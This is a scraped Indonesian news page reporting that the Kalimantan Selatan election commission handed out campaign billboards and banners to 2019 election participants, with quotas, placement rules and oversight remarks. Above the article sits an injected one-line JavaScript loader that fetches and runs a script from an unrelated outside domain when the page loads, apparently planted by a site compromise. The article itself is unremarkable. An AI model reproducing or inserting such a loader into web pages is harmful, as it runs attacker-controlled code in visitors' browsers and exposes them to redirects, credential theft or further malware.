(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

KPU Kalsel Bagikan Alat Peraga Kampanye untuk Peserta Pemilu


BANJARMASIN, Memasuki masa kampanye pemilu, KPU Kalsel mulai membagikan alat peraga kampanye (APK) kepada peserta Pemilu 2019 pada Senin (19/11). APK yang dibagikan meliputi baliho dan spanduk sesuai jumlah yang telah ditetapkan.

Alat peraga kampanye dibagikan kepada peserta pemilu yang terdiri dari Pasangan Calon Pilpres, Partai Politik, dan Calon Anggota DPD RI. Untuk baliho Paslon Pilpres berjumlah 16 lembar ukuran 3×5 meter bentuk potrait, sedangkan baliho Partai Politik berjumlah 11 lembar dan khusus Calon Legislatif DPD RI sebanyak 5 baliho.

Sementara di tingkat Kabupaten/Kota, KPU memfasilitasi baliho 10 lembar untuk Pasangan Calon Pilpres dan 10 lembar khusus Partai Politik. APK lainnya berupa spanduk yang disediakan berjumlah 16 untuk Pasangan Calon Pilpres, 16 bagi Partai Politik dan 10 kepada Calon Anggota DPD RI.

Komisioner KPU Kalsel Hatmiati meminta kepada para peserta pemilu agar memanfaatkan masa kampanye sekarang sebijak mungkin dan tidak melanggar aturan pemasangan APK. “Penyerahan APK sesuai aturan PKPU Nomor 23 tahun 2018. Setelah ini mereka dapat membuat APK tambahan. Kita sudah rapat beberapa kali denga peserta Pemilu, penempatan itu dilakukan berdasarkan kesepakatan dan mengacu aturan Pemerintah Daerah, yaitu tempat-tempat yang dilarang,” katanya kepada wartawan di KPU Kalsel.

Penambahan APK yang diperbolehkan kepada peserta pemilu tersebut. Diantaranya baliho maksimal 5 buah dan spanduk 10 lembar dikalikan jumlah Desa/Kelurahan di masing-masing Kabupaten/Kota.

Sementara itu, komisioner Bawaslu Kalsel, Erna Kaspiah mengatakan pihaknya terus melakukan pengawasan terkait pemasangan APK oleh Peserta Pemilu. Khususnya APK tambahan yang lebih awal terpasang di sejumlah titik.

“Kalau kurang dari lima itu kita biarkan. Namun apa bila lebih yang terpasang, akan kita koordinasikan ke peserta politik, meminta melepaskannya. Ada dibeberpaa daerah bahwa ini sudah lebih,” katanya.(mario)


Desy Arfianty

Recent Posts

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

55 menit ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

11 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

14 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

20 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

20 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

23 jam ago

This website uses cookies.